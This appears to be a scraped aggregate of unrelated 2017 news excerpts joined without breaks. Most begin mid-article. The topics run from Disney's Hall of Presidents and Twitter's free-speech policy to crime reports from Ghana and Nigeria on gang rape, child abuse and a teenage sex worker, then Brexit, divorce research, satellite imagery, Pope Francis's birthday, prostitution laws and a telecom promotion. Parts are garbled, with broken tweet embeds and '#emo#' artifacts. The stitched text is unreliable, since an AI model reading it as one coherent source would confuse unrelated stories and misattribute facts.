The Hall of Presidents closed in January, shortly before Trump's inauguration. Originally, it was slated to reopen in late June, ahead of the Independence Day holiday. However, that date was pushed out, sparking rumors that Disney was rethinking giving President Trump a speaking role.

Disney denied those reports: "We have been working closely with the current White House  just as we have with previous administrations  and the presidents recording session has been scheduled," Disney said in a June blog entry.

Disney has included a new short film, titled "The Idea of a President,"with the attraction, according to the Sentinel report. The film highlights some of the major dilemmas faced by Washington, FDR, and others. It also "deals with stickier topics such as race relations and wage disparity," the Sentinel reported.
Twitter's first executive in the UK, Tony Wang, described the company in 2012 as "the free-speech wing of the free-speech party."

Now Sinead McSweeney, Twitter's vice president for public policy and communications in Europe, the Middle East, and Africa, has said it's "no longer possible to stand up for all speech."

McSweeney appeared before British politicians on Tuesday alongside policy executives from Facebook and Google to explain why it was so easy to find hate speech, extremist content, and inappropriate content across all three platforms.

During the three-hour grilling, McSweeney acknowledged Twitter's historical support of free speech and explained the firm's updated philosophy to MPs.

Here's what she said, emphasis ours:

"I look back over last 5 1/2 years, and the answers I would have given to some of these questions five years ago were very different. Twitter was in a place where it believed the most effective antidote to bad speech was good speech. It was very much a John Stuart Mill-style philosophy. We've realized the world we live in has changed. We've had to go on a journey with it, and we've realized it's no longer possible to stand up for all speech in the hopes society will become a better place because racism will be challenged, or homophobia challenged, or extremism will be challenged. And we do have to take steps to limit the visibility of hateful symbols, to ban people from the platform who affiliate with violent groups  that's the journey we're on."

McSweeney joined Twitter in 2012, only a few months after Wang made his remarks about free speech on the platform. John Stuart Mill, mentioned in her comments above, was a 19th-century British philosopher who argued for open discussion of any and all ideas  however immoral.

This appears to be the first time a Twitter executive has clarified the firm's shifting stance toward free speech, though there have been many outward signs that the company is rowing back from its initial radical stance.

After years of criticism for allowing racism, extremism, and abuse to bloom freely on its platform, Twitter began purging accounts affiliated with hate groups.

The leaders of Britain First, a far-right organization considered a hate group by the British government, were among the first to go. The groups' leader, Paul Golding, and deputy, Jayda Fransen, had their accounts deleted Monday morning. The white supremacist site American Resistance and its top editor, Jared Taylor, were also barred.

Twitter also started stripping its "verified" blue tick from accounts that didn't obey its new rules around hate speech, leading both the white supremacist Richard Spencer and the former English Defence League leader Tommy Robinson to lose verified status.

Asked by MPs why people like Fransen and Golding had been verified to begin with, McSweeney said that the two "should never have been verified" and that Twitter's "verification was broken from top to bottom." She said that people outside the organization didn't understand verification and that those tasked with verifying accounts didn't apply the rules consistently.
He said gang rape happens often in Bantama.

The Assemblyman Member's comment comes at the back of a video circulating on social media, four young men were seen forcibly having sex with a teenage girl.

READ ALSO: Gender Minister condemns circulation of gang rape video

Though the police has arrested 3 young men suspected to be partakers in an alleged gang rape, Kwame Ofori said gang rape is rife among the youth in Bantama.

"Gang rape happens often in BantamaInfact I have done everything possible to ensure that the boys who gang rape girls are caught but I have not been successful.

"But today this has become public by Gods graceI am sure God wants the world to know what has been happening in Bantamaso in a way I am happy this has happened," he told Kumasi-based Ultimate FM.

The young men are seen taking turns to rape the teenager.

READ MORE: Police arrest 3 over gang rape video

After the video went viral on social media, the Domestic Violence and Victim Support Unit (DOVVSU) of the Ashanti Regional Police Command has invited the 18-year old victim to assist in investigations.

Sources indicate that the 18-year-old girl is currently at the Komfo Anokye Teaching Hospital undergoing a medical examination.

READ ALSO: 4 boys gang rape teenage girl

Meanwhile, the National Headquarters of the Criminal Investigations Department (CID) of the Ghana Police Service, has indicated that they have taken the matter seriously and will investigate it.
At a media briefing in Kumasi in the Public Relations Ashanti Regional Police Command, ASP Juliana Obeng confirmed the arrest and said the incident happened Bantama.

The command has arrested 3 suspects. The arrest of these suspects was made on Saturday, 16th December 2017 at their various homes at Bantama. The three suspects and their 4 accomplices who are currently at large are all students.Two of the 3 arrested are in SHS 1 and the other in JHS 3.

READ ALSO: Sharing the gang rape video could land you in police trouble

However, the police is not ready to disclose the ages of the teenagers.

ASP Juliana Obeng said the police had identified 4 accomplices who are currently at large.

All three suspects are currently in police custody assisting in police investigations, while efforts are being made to arrest the other 4.

In a video circulating on social media, 5 young men were seen forcibly having sex with a teenage girl.

The young men are seen taking turns to rape the teenager.

After the video went viral on social media the Domestic Violence and Victim Support Unit (DOVVSU) of the Ashanti Regional Police Command has invited the 18-year old victim to assist in investigations.

Sources indicate that the 18-year-old girl is currently at the Komfo Anokye Teaching Hospital undergoing a medical examination.

Meanwhile, the National Headquarters of the Criminal Investigations Department (CID) of the Ghana Police Service, has indicated that they have taken the matter seriously and will investigate it.

A statement issued by the CID called on the general public to stop sharing the video on social media.

Anybody with any relevant information should personally report to the Cyber Crime Unit of the CID Headquarters for further action, it added.

When did the incident happen?

According to the Police, they arrested the suspects on Saturday, two days before the video went viral on social media.

This indicates that the Police got wind of the crime but had shielded it from the public.
The court freed them on the grounds that there was lack of evidence against them.

However, the 8 discharged suspects are demanding compensation from the state for the wrongful accusations levelled against them.

The lawyer of the 8, Bernard Shaw argued that his clients have been through intolerable trauma and anguish since their arrest in May 2017, hence their demand.

He also accused the prosecution of doing a shoddy job by responding to public sentiments after reports of the lynching of the late military officer.

The 8 who were discharged were among 14 persons facing trial on charges of murder.

However, the Attorney General requested the release of the 8 due to lack evidence against them.

Captain Maxwell Mahama of the 5 Battalion of Infantry at Burma Camp in Accra who was on detachment duties at Diaso in the Central Region was lynched to death by the youth of the town.

The officer was on operational duties at the Alaska C&G Mining Company at Amenase Forest, near Diaso in the Central Region.
17-year-old Obaa Yaa followed her friends after they asked her to come along with them for their prostitution business.

I started this sex business at the age of 16 years when I came to Accra to visit my close pals. They asked me if I will come along with them to where they were going to and I didnt object to that, she told GHOne TV.

After her first night, she made some money which caused her to look at the lucrative side of the profession. She was unable to quit.

Obaa Yaa who plies her sex trade around Old Fadama and Circle near the Railway line in Accra said she became a prostitute at age 16 because she was unable to cope with the family pressure when she was forced to get a job.

She needed to take care of herself and also remit her mother as well.

She added that when business is booming, she makes GHc200.00 for the night.

READ ALSO: Freed Major Mahama 'killers' demand compensationFreed Major Mahama 'killers' demand compensation

She said even though the sex was sometimes painful she needs to do it to survive.

I sometimes feel the pain when Im having sex with the over 10 men but there is nothing I can do about the pain, I just have to endure it because I need to make money for myself. I sometimes buy stuff with the money I earn from my night sex business and remit my mother as well.

My mother didnt know Im a commercial sex worker. My mum got to know about my work through my uncles because of that she threatened to kill me if I come to the village. Ive been advised to stop this sex business because Im too young but because I need money, I cant put a stop to it.
The cabinet meeting came four days after EU leaders approved an interim agreement on the terms of the separation, and agreed to move negotiations on to the next stage.

May wants Britain to leave the EU's single market and customs union, but forge a new "deep and special economic partnership" with the bloc.

"The prime minister said it was clear what the cabinet's objective was -- a deal which secures the best possible trading terms with the EU, enables the UK to set rules that are right for our situation and facilitates ambitious third-country trade deals," her spokesman said.

She ruled out replicating Norway's membership of the European Economic Area, saying it would be "democratically unsustainable, because it would mean automatically adopting all EU rules without influence or a vote", the spokesman said.

Instead, the prime minister said she "would be seeking a significantly more ambitious deal than the EU's agreement with Canada".

Officials have discussed the so-called "Canada plus" option, adding other economic sectors into the agreement.

'The red lines'

However, the EU's chief negotiator Michel Barnier warned Tuesday that any deal would inevitably result in Britain's banks and financial companies losing rights to trade across the bloc.

"There is no place" for giving Britain's financial services full access to the EU market, he told a number of newspapers, including Britain's The Guardian.

This was a consequence of "the red lines that the British have chosen themselves. In leaving the single market, they lose the financial services passport".

Quoted by Le Figaro, he added: "There is no question of replacing it with blanket equivalence."

May said Britain needed to be "creative in designing our proposal", adding that Britain "would be seeking a bespoke deal".

However, no decisions have yet been taken and further government discussions are due "early in the New Year", the spokesman said.

Some ministers favour continued alignment with EU rules after Brexit to maintain a close trading relationship, while others say leaving the EU is an opportunity for Britain to forge a new path.

Media reports suggest that rival camps are coming to agree on a middle way, where Britain would agree a new trade deal with Brussels but gradually move away from the bloc's regulations.
When it comes to studying divorce, social scientists have two options. They can observe different couples and try to figure out on their own what predicts the end of a marriage, or they can simply ask people why their marriage ended.

A growing body of scientific research falls into that second category. Researchers either ask participants to choose from a list of potential reasons for divorce, or they ask participants to answer an open-ended question about why they divorced. A recent blog post on Psychology Today, by the psychologist Scott M. Stanley, for example, highlights several papers on people's reasons for divorce.

We took a look at some of that research and pulled out seven common reasons participants gave to explain their divorce. Those reasons are listed below in random order.

Infidelity

Infidelity is a common explanation for divorce.

In one small study, published 2013 in the journal Couple and Family Psychology, one participant described the infidelity that led to the divorce this way:

"He cheated on me ... Then I met somebody else and did the same thing ... And when he found out about it we both essentially agreed that it wasn't worth trying to make it work anymore because it just hurt too bad."

Still, it's worth noting that infidelity doesn't always have to doom a relationship. The couples therapist Esther Perel previously told Business Insider that the discovery of an affair  while potentially devastating  can sometimes allow a couple to reestablish the kind of intimacy and honesty that they hadn't had in years.

Substance abuse

Drinking and/or drug use is a commonly cited marital problem.

One participant in the 2013 study told the researchers: "I said 'absolutely no more bars' and as soon as I found out he was back in them, I asked for [a divorce]."

That same study found substance abuse was also a relatively common "final straw" in the decision to end a marriage.

Lack of commitment

This turns up as a reason for divorce in at least two studies, each of which asked people to choose from a list of potential factors.

In the 2013 study, one participant said:

"It became insurmountable. It got to a point where it seemed like he was no longer really willing to work [on the relationship]. All of the stresses together and then what seemed to be to be an unwillingness to work through it any longer was the last straw for me."

Too much conflict and arguing

"We'd have an argument over something really simple and it would turn into just huge, huge fights," one person wrote in the 2013 study, adding: "And so our arguments never got better they only ever got worse."

There's no guarantee that any conflict-management strategy can prevent divorce. But for couples who feel as if they're always having the same fight, Perel recommends simply listening and displaying empathy. Instead of always cutting your partner off so you can share your side of the story, try hearing the person out and reflecting back what he or she has told you.

Growing apart

In a 2003 study, published in the Journal of Family Issues, participants responded to an open-ended question about why they divorced. About 8% of people said they grew apart from their spouse, making it the fourth most common reason in that study.

Growing apart was also the top reason cited in a 2012 study, published in the Journal of Divorce & Remarriage, in which participants chose from a list of potential reasons for divorce. Participants could select more than one reason; more than half said they grew apart.

The psychologist Eli Finkel previously told Business Insider that couples do sometimes grow apart  that's a risk you take when you tie the knot.

Finkel said couples getting married were essentially saying: "We're going to make this promise that says, regardless of all those sorts of changes and even when all those sorts of changes might lead us in a different direction, we are going to work super hard to try to make sure this marriage works."

Financial problems

Financial problems are another common reason for divorce. One person in the 2013 study said: "I had a severe illness for almost a year and I was the only employed person [before that] so obviously money ran very short."

Interestingly, couples therapists say money is one of the main reasons people seek marriage counseling. (Problems with parenting and physical intimacy are two others.)

That's why Business Insider's Lauren Lyons Cole, a certified financial planner, recommends that couples know everything about each other's money before they get married  from their student-loan debt to their spending habits.

Getting married too young

Marrying too soon turned up as an important reason for divorce in some of the studies in which participants chose from a list of potential reasons.

One participant in the 2013 study said, "The main reason [we divorced] was because of our age. I think that being 19 at the time we got married, it just didn't take. I think that we didn't take anything as seriously as we should have."

Interestingly, research suggests that couples who marry in their teens and couples who marry in their mid-30s or later are at greater risk for divorce than couples in their late 20s and early 30s. The risk is especially high for teenage couples.
Despite ongoing political and social unrest, both in the US and around the world, the former Microsoft CEO recently took some time on Twitter to highlight moments of "amazing hope and progress" in 2017.

He later called on others to submit their own inspirational stories, but here are the ones he felt deserved a second look.

A man became the first person in his family to graduate from college.

On May 18, 2017, I became t... @ Edwardo Sanchez2/ On May 18, 2017, Edwardo... @ Bill Gates

A Bollywood film tackled one of the country's most pervasive issues.

'Toilet, a Love Story': Bol... @ The Express Tribune3/ #emo#Toilet: A Love Story,#emo# ... @ Bill Gates

Two countries eradicated measles.

Bhutan and Maldives elimina... @ TR_Foundation News4/ In June, the WHO certifi... @ Bill Gates

The World Food Prize winner gave African children a way to support themselves.

The World Food Prize gives ... @ Akinwumi A. Adesina5 /2017 World Food Prize wi... @ Bill Gates

The New York Times presented a health argument for doing good.

My debut in the @nytimes co... @ Nicole Karlis6/ The New York Times repor... @ Bill Gates

Schools started encouraging kids to get into 'extreme reading.'

Well done to 6yo Zackary Ho... @ SDBE7/ A new sport caught on in... @ Bill Gates

(Gates, an avid reader, couldn't resist throwing his own hat into the ring.)

8/ Here#emo#s my own extreme su... @ Bill Gates

He concluded the roundup by asking others to reflect: Why should we have hope for 2018?
The most important stories included a string of cripplingnaturaldisasters, jaw-dropping technological achievements, and geopolitical actions that ranged from uplifting to egregious.

While journalists scrambled on the ground, orbiting satellites documented these scenes in breathtaking detail from space.

To reflect on the year's most significant developments, DigitalGlobe  a satellite-imaging company that uses a fleet of spacecraft to take 100 terabytes' worth of new pictures of Earth each day  released a collection of remarkable space-based photography.

"We saw tragedies unfold, like the famine in Africa and Yemen, and we saw moments of great progress, like the strategic victories over the Islamic State in Syria and Iraq," Dan Jablonsky, the president of DigitalGlobe, said in an emailed press release. "DigitalGlobe's satellite constellation had a front-row seat to these and thousands of other impactful events in 2017."

Below is a selection of some of the images released by the company and what they reveal.

Hurricanes triggered massive flooding and devastation.

Hurricanes Harvey, Irma, and Maria inflicted record-breaking storm damage and flooding across the Gulf Coast and Caribbean.

"This image, taken on August 30 by DigitalGlobe's WorldView-2 satellite, shows the extensive flooding in Brookshire, Texas," the company said.

The Great American eclipse of 2017 swept across the US.

The US saw its first continent-crossing total solar eclipse in 99 years this summer. The event clogged roadways but brought stunning views of an astronomical event that most Americans had never seen before.

"This image, captured by DigitalGlobe's WorldView-2 satellite on August 19, shows an encampment of eclipse watchers in Big Summit Prairie, Oregon," the company said.

Wildfires scorched California.

California has been ravaged by two major wildfire events: One in Napa and Sonoma counties in October, and an ongoing disaster in and around Los Angeles. Collectively, these fires have killed dozens of people, wiped out thousands of homes, and scorched hundreds of thousands of acres.

"This image, taken by DigitalGlobe's GeoEye-1 satellite on October 11, shows the badly burned Coffey Park neighborhood in Santa Rosa," DigitalGlobe said.

In this false-color shot, red shows healthy vegetation while gray-green shows burned homes and plants.

North Korea advanced its nuclear weapons programs.

North Korea shocked the world in 2017 with major advances in both its intercontinental ballistic missile and nuclear weapons programs.

"This image, taken by DigitalGlobe's WorldView-2 satellite on November 21, shows the factory in Pyongsong where the Hwasong-15 ICBM is believed to have been developed," DigitalGlobe said.

Representatives from the isolated nation have said it's considering detonating "an H-bomb in the Pacific."

A new island was born.

Hundreds of miles east of Fiji, the island of Hunga Tonga-Hunga Ha'apai erupted from the Pacific Ocean in 2014.

"It was expected to wash away over the course of months, but it has persisted to become the first new island of its kind to sustain itself in more than 50 years," DigitalGlobe said. "This image, taken by DigitalGlobe's WorldView-2 satellite on June 29, shows the newly formed volcanic island connecting two previously separate islands."

The Women's March took over the country following President Donald Trump's inauguration.

President Trump's inauguration triggered the single-largest day of protest in US history. Demonstrators flooded cities around the country in the national Women's March, with eye-catching signs and powerful chants.

"This image, taken by DigitalGlobe's WorldView-2 satellite on January 21, shows the protest in Denver," according to the release.

The protests even spread to other cities outside of the US.

SpaceX advanced its reusable rockets.

Elon Musk's rocket company, SpaceX, had a banner year in showcasing the reusability of its Falcon 9 rocket  a workhorse launch vehicle that's helping lower the cost of access to space.

"On December 15, SpaceX launched the first mission to fly a reused orbital rocket and spacecraft to resupply the International Space Station," DigitalGlobe said in its release. "This image, taken on December 12 by DigitalGlobe's GeoEye-1 satellite, shows the Falcon 9 rocket horizontal on the launch pad."

The launch also marked the 20th time SpaceX launched and recovered a rocket instead of discarding it after use.

Genocide erupted in Myanmar.

The ethic cleansing and genocide of the Rohingya Muslims in Myanmar made international news in 2017. Despite living in the country for hundreds of years, the Rohingya have seen government military forces burn down their villages, drown babies, and rape women and children at a feverish rate. More than 620,000 of them have been forced to flee to camps in nearby Bangladesh.

"This image, taken by DigitalGlobe's WorldView-2 satellite on November 5, shows the Nayapara refugee camp in Bangladesh," DigitalGlobe said.

A Las Vegas concert ended in a tragic mass shooting.

Gun violence in the US took a particularly wicked turn on October 1, when a gunman fired more than 1,100 rounds of ammunition into a crowd of concert-goers in Las Vegas from a room at the Mandalay Bay hotel.

"It was the deadliest mass shooting in US history, leaving 58 people dead and 546 injured," DigitalGlobe said. "This image, taken by DigitalGlobe's WorldView-2 satellite on October 2, shows the hotel and concert venue."

Iraq and Syria liberated Islamic State strongholds.

After battling militants for nine months, Iraqi forces in July defeated the Islamic State in Mosul, its former stronghold. Then, following three years of struggle, US-backed Syrian forces in October flushed out the de-facto Islamic State capital in Raqqa.

"This image, taken by DigitalGlobe's WorldView-2 satellite on October 9, shows Syrian forces gathered in Raqqa's iconic Al-Naim square surrounded by the ruins of destroyed buildings," DigitalGlobe said.

Chemical weapons killed innocent civilians in Syria.

In early April, the Syrian regime led by Bashar Assad killed dozens of men, women, and children with internationally banned chemical weapons. In response, President Trump called for a missile strike of his own.

"On April 7, the US military launched 59 Tomahawk missiles that struck a Syrian airbase where a chemical weapons attack is believed to have originated," DigitalGlobe said. "This image, taken on April 7 by DigitalGlobe's WorldView-2 satellite, shows damaged aircraft and infrastructure at Al Shayrat airfield."

Catalonia declared independence from Spain.

In late October, Catalonia  a northwestern region of Spain  formally declared its independence. CatalanMadrid has rejected the region's bid for independence (and the EU has sided with Madrid).

"This image, taken by DigitalGlobe's WorldView-2 satellite on June 6, shows the Catalan Parliament building in Barcelona," the company said.

Venezuela faced one of the worst economic meltdowns in recent history.

As oil prices have plummeted, Venezuela  which funds its socialistic government with international oil sales  has found its health as a nation descending into increasing turmoil.

"Venezuela's years-long economic crisis reached new lows in 2017, with major shortages of food and medicine and the seizure of all legislative powers by the country's supreme court in March, which sparked months of violent protests across the country," DigitalGlobe said. "This image, taken by DigitalGlobe's WorldView-2 satellite on April 28, shows the nation's busiest port, Puerto Cabello, which has seen import traffic drop dramatically over the past few years."

Terrorists set off a devastating truck bomb in Somalia.

Terrorist attacks caused devastating explosions in cities around the world, but the largest and deadliest happened on October 14 in the Somalian capital of Mogadishu.

The bomb, set off inside a truck, "is thought to have been carried out by Al-Shabaab to target a compound housing international agencies and troops," DigitalGlobe said. "This image, taken by DigitalGlobe's WorldView-3 satellite on October 16, shows the aftermath of the bombing."

The attack killed 512 people and injured 316 people.

Famine spread across eastern Africa.

"On March 10, the United Nations' top humanitarian official called for coordinated global efforts to stem the famine that has affected more than 20 million people in Yemen, Somalia, South Sudan and Nigeria," DigitalGlobe said. "This image, taken by DigitalGlobe's WorldView-2 satellite on December 2, shows the expansion of refugee and medical tents in one of the hardest hit areas in Dikwa, Borno State, Nigeria."

Zimbabwe ousted its 37-year president.

After serving as Zimbabwe's president for nearly 40 years, Robert Mugabe, age 93, was ousted in a military coup.
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Instead of simply having a cake as most people do, the Pontiff hosted a pizza party for children in the Vatican city.

Still, he observed the make a wish tradition by having a candle on his extra-long pizza(13 feet).

He blew this with some help from the kids, who are receiving medical care from the Vaticans Pediatric Dispensary of Santa Marta.

Afterwards, Pope Francis jokingly encouraged the children to enjoy the massive pizza.

He said, Eat the four meters [13 feet] of pizza: eat well, it will do you good, it will make you grow!

As usual, the Pontiff had some words of advice and encouragement for the kids saying: The joy of children is a treasure. And we ought to do everything so that they continue to be joyous. A joyous spirit is like a good land that grows life well, with good fruit.

Moving on to Grandparents, Pope Francis noted that they have memory, have roots, and it will be the grandparents that give roots to the children.

Continuing, he asked that the children may not be uprooted children, without the memory of a people, without the memory of the faith, without the memory of so many beautiful things that have made up history, without the memory of values.

And who will help children to do this? The grandparents, said the Pope, adding that the elderly love us very much.

Pope Francis concluded by advising parents to teach them to talk with God.

May they learn to pray, to say what they feel in their heart. It is joy, to talk with the grandparents, with the elderly, and to talk with God.

He still got a cake

NBC News reports that he still got a cake. Roman pastry Hedera Sweetness and Co. offered a beautifully decorated cake in honour of his birthday.

It featured a drawing of the Pope by Italian street artist Mauro Pallotta a.k.a Maupal.

Another thing the Pontiff got was thousands of children shouting birthday wishes from St. Peters Square. They also sang Happy Birthday in Italian.

Pope Francis responded from his window overlooking the square saying: Thanks a lot, thanks a lot.

The kids were at the Vatican for the popes weekly Angelus prayer and for their tiny figurines of the baby Jesus to be blessed by the pope.

According to Reuters, this is a long-standing Italian custom. It was started by the late Pope John Paul II. After they are blessed, the statues are placed in home nativity scenes.

This is not the first time the Pope has gone public with his love for pizza

In 2015, he made an observation about being a pope. According to him, the one thing he didn't like about his position was the fact that he could no longer go out unnoticed for pizza.

In his words, The one thing that I would like is to go out, without anyone recognizing me, and go to a pizzeria to eat pizza.

That same year, he was given a pizza by pizzeria owner Enzo Cacialli who had to make delivery straight to the Popes motorcade.

Afterwards, he told CNN that Its really hard for me to understand what I managed to do. Giving a pizza you made with your own hands to the Pope is very emotional.

Its really hard for me to express the value of this gesture for a man we really love and value, for a beautiful person full of humanity.

Other Pontiff news

Meanwhile, Pope Franciss twitter account just turned five years old. This happened on December 12, 2017.

It was acknowledged by the pontiff with a sweet post.

The @Pontifex account was opened by Pope Benedict on Dec. 12, 2012.
The old students made the appeal in a statement signed by the President of the Alumni Association, Mr Timi Famoroti.

The National Alumni President is calling on the Ekiti State Government to help stop the encroachment of the school land by some powerful individuals in Ado- Ekiti, the statement said.

He expressed the readiness of the association to collaborate with the government in taking the school to greater heights.

He said that the association had contributed to infrastructure developments to the school over the years.

In the last five years, the alumni had invested over N20 million in the school."

We carried out different projects which include renovation of two hostels each at the male and female hostels, sunk a modern borehole, repaired class rooms and the lecture theatre."

We also renovated the school healthcare centre and the principals lodge, he said.

He commended his members for their cooperation and financial support to the school over the years.

Famoroti advised them and others to be fully involved in the development of the college as well as in the zonal arrangement for social interaction among members.

The statement said that old students Lagos, Ekiti, Ondo and Abuja zones converged on Ado-Ekiti for the 2017 reunion which was also used to officially create new zones.

Famoroti assured the alumni that more zones would be created in 2018 in various towns across the country.

He said this would be in addition to campus alumni that would be formed in the various institutions of higher learning for the purpose of mentoring younger members.
The State Coordinator, Sunday Aladegbaye on Monday, December 18 told News Agency of Nigeria, NAN.

Aladegbaye said Lagos had 63 centres for the 2017 edition of the examination but was increased to 72 because more candidates were likely to participate in 2018 Computer Based UTME.

He said, Preparations are in top gear for the examination in the state.

We have accredited 72 centres that have met our requirements for the conduct of the mock and the main examination in 2018. But this figure can increase''

He, however, warned mischief makers to stop creating strange computer-based test centres to defraud unsuspecting candidates.

ALSO READ: JAMB may deal with institutions that exploit admission seekers

He said, experience has shown that some group of persons will create a strange website in the name of JAMB and be registering candidates to defraud them.

This is misleading just as it is criminal. We also wish to reach out to candidates to go to only approved centres for their registration. We (JAMB) will not be accountable for anything that happens to them.

JAMB form is out
Tawose who was a Batch A corps member serving at the Ogun State Ministry of Housing was allegedly lured into a bush by Festus Udoh, 29, her driving instructor on Saturday, December 9.

Four days after, her decomposing body was discovered in a bush with her hand tied to a tree at Abule Ayo in Odeda Local Government Area

Meanwhile, Udoh, the suspect, has confessed to the crime and has been remanded in prison while awaiting trial.

However, John Okpo, the Ogun State NYSC Coordinator, during a condolence visit to the family of the deceased in Ibadan, Oyo State, on Monday, December 18 has assured the family that justice would be served.

Okpo traumatised by the incident said the NYSC is saddened by the occurrence.

He said, the NYSC family nationwide is sad for the raping and eventual murder of our beloved and patriotic corps member, the late Miss Modupe Tawose. We strongly condemn the act and will go to any length to defend and fight for the rights of our members and in this case, ensure justice is delivered.

We will do all to ensure Mr Festus Udoh is brought to book as this will serve as a deterrent to other miscreants and evil doers in the society.

ALSO READ: Corps members get multiple allawee due to technical hitch

He however enjoined corps members to always be security conscious and promptly report any security threat to appropriate authorities.

Corps members are to save the distress call centre numbers given to them during the orientation course in their various camps on the phones in case of emergencies.

They are also advised to move in groups and not to follow strangers, even known people with questionable characters''.

NYSC and the safety of Corp members is becoming an issue

In the last few months, the NYSC had had issues bothering on security and safety of corps members.

In Nassarawa state two corps members drowned in a river in the state in October. Similarly, in December another corps member, Collins Ohaegbu drowned in a river at his place of primary assignment in Akwa Ibom state.
The young girl, named Favour Israel, who hails from Nkporumo Local Government Area of Anambra State, told PUNCHMetro Mrs Oshiaha accused her of stealing money. She claimed she was tortured and kicked out of the house to go in search of the missing money.

Deeper Life Bible Church rescued Favour on the streets and gave her to Lagos state social workers.

According to Punch, Favour is the first born in a family of five. Her parents separated. Unfortunately, her father was involved in an accident which damaged his leg. He couldn't take care of her afterwards.

As a result of this her father could not pay for her school fees. A neighbour of Favour's farther saw their plight and decided to help out by and handing her over to Mrs Oshiaha.

According to Favour from the moment she entered Oshiaha's house, she was abused and maltreated.

It was when my father had an accident and started using crutches that things became hard for us. I had stopped going to school and a neighbour, who saw how we were suffering, told my father that she knew a woman in Lagos who could help us. She introduced the woman to my father and I was asked to follow her to Lagos.

She has three children and I took care of them. But since I arrived in Lagos in November 2016, she has been maltreating me. I fetched water, sweep the house, wash plates and run errands. Sometimes, I dont eat for a long time.

She put me in a school when I came to Lagos. But she sometimes stopped me from going even after finishing my chores because she would say I had to do another thing. I did not go to school sometimes for more than a week.

On Thursday night, she came back from the market and said her money was missing. I told her that I didnt know what happened to the money. She sent her first daughter to go to buy a cane. She told me to lie down on the ground and removed my clothes. She flogged me despite my insistence that I didnt steal her money. She chased me out and told me not to return until I find the money. I went outside and slept outside the gate, Favour said.
The decision was taken by the 36 state governors after the Federal Executive Council meeting presided over by Vice President Yemi Osinbajo at the Presidential Villa, Abuja, where the governors approved the withdrawal of the sum for the ongoing fight against Boko Haram insurgents in the North-East.

Reacting to the development, the National President of CATRE, Comrade Gabriel Onoja observed that although much success has been recorded in the fight against insurgency by the current administration which saw to the sacking of Boko Haram fighters in many communities in the North-eastern part of the country, the battle is not over yet.

Comrade Onoja who spoke at a press conference held in Abuja, noted that 'terrorism, just like an epidemic, cannot be termed as subdued if remnants of its causative agents and malignant germs are left to foster, no matter how insignificant their number.'

The statement continued:

It is true that the sect has been degraded and technically defeated but the recent attack on soft targets has indicated that there are remnants of the sect not only fighting for survival but seeking ways to relaunch their deadly attacks on the citizenry.

This informs the need to approach the matter holistically and with military precision so that total success would be achieved.

This has necessitated the request by the FG and theby the state governors.

Unlike the past where such funds were seen as slush funds that were arbitrarily disbursed to cronies of those in government in the most shameful and brazen manners, we have absolute confidence in the current administration that the funds would be used for the purpose it is meant for and every single Kobo would be accounted for.

This is because and his service chiefs have shown capacity to appreciate the depth of the problem and not toy with the lives and destinies of people as was the practice in the past

This step should be seen as a commitment by the Nigerian state to take care of a cancerous problem and this involves the purchase of more military hard and soft wares, communication gadgets, fighter jets and helicopter gunships, drones and other surveillance equipment to achieve success.

All these require huge amounts but the need would be appreciated against the backdrop of the enormous problem it is set to solve.

Life would revert to normal for millions that have been sacked from their communities; institutions built with public funds would be preserved and utilized; millions of children would return to schools and a substantial part of Nigeria would be given the opportunity to restart. All these are not what money can quantify.
According to blogger, Linda Ikeji, the court judge, Ahmad Bazli Bahruddin imposed the sentence after the 50-year-old pleaded guilty. The judge ordered the sentence to begin on Oct 13, 2017, the date he was arrested.

The accused was said to have raped his daughter at an unnumbered house in Beris Kubur Besar, Bachok, in Malaysia. It was reported that the trader had gone to the house of his ex-wife to get his daughter to stay with him, she, however, refused to accompany him.

After immense pressure from the victim's mother, she finally agreed to follow her father to his house. When the victim was sent home by her sister, her mother noticed she was behaving differently and questioned her.

The victim then told her mother that she had been raped and that this was not the first time.
Prostitution is one of the oldest jobs in the world and has for quite a long time now, been regarded as a hateful and fallen choice of work.

But one thing is certain prostitution exists and will continue to exist despite bans and their legal status.

Some countries choose to outright ban the practice, while other countries have tried regulating it, providing sex workers with health and social benefits.

Here are some of the countries where prostitution is legal.

1. Finland

Prostitution is legal in Finland, but selling and purchasing sex in public is illegal, as well as purchasing or pimping a trafficked victim.

Street work is banned but clients are all accessible through the Internet and personal ads. In addition to decreasing street-workers, cyberspace has also contributed to a growing number of foreign sex workers operating in Finland through ads and massage parlours.

2. Costa Rica

Prostitution is completely legal in Costa Rica. In fact, its a common profession. The problems are with the activities surrounding prostitution. Pimping is illegal, prostitution rings are illegal, and there is also a huge problem with child prostitution and human trafficking.

Costa Rica is, unfortunately, a common transit and destination point for women and children who are being trafficked for sexual exploitation purposes.

3. New Zealand

Prostitution has been legal in New Zealand since 2003. There are even licensed brothels operating under public health and employment laws, which means the workers get social benefits just like other employees.

4. Austria

Prostitution is completely legal in Austria. Prostitutes are required to register, undergo periodic health examinations, be 19 years old or older and pay taxes.

5. Bangladesh

Except for male prostitution, everything else is legal.

Bangladesh has a severe minor trafficking problem, which is perpetuated by corruption. Pimping and owning a brothel is also legal.

6. Denmark

In Denmark, prostitution was decriminalized in 1999, partly because authorities wanted to keep watch over the industry.

Apparently, they felt it would be easier if it were happening out in the open as its always easier to police a legal trade than an illegal one.

Third-party activities such as coercion, procuring, trafficking, and the solicitation of minors, however, remain illegal.

7. Canada

Canada has no law against the exchange of sex for money; its pimping or owning a brothel that is the problem. It is legal to be a sex worker, but illegal to purchase sexual services.

Its also illegal to publicly market your wares as a prostitute.

8. Germany

There are an estimated 400,000 prostitutes working in Germany. Prostitution brings in about six billion Euros each year with a clientele of an estimated 1.2 million.

The government, of course, withholds a portion of these revenues to contribute to social benefits and sex workers have pensions, health insurance, a regular 40-hour-workweek, and the option to join sex worker unions. Despite the nationwide laws, each city has the right to ban prostitution in their area.

9. Greece

In Greece as long as youre over the age of 21, registered and a medical card carrier whose card is updated every two weeks, you can do pretty much anything that doesnt involve sex trafficking.

Brothels are legal and pimping is legal.

10. Colombia

It is legal to work in the sex industry in Colombia, though pimping isn't.
The promo, according to Mike Ogor, head of marketing, is part of the brands endeavour to better understand its customers needs and deliver better value by providing additional benefits on important occasions

He stated that customers will enjoy uniquely designed Pebble Mifi or Freedom Mifi at N20,000 plus Free 40GB and Unlimited night browsing. Other offers in the promotion include a Mifi at N16,000 plus free 20GB , a Mifi or Zoom CPE at #25,000 plus free Unlimited Gold Plan which comes with 100GB.

The exciting Xmas promo from Spectranet further offers 100% data bonus in the next two renewals on any capped data plan within 90 days of activation.

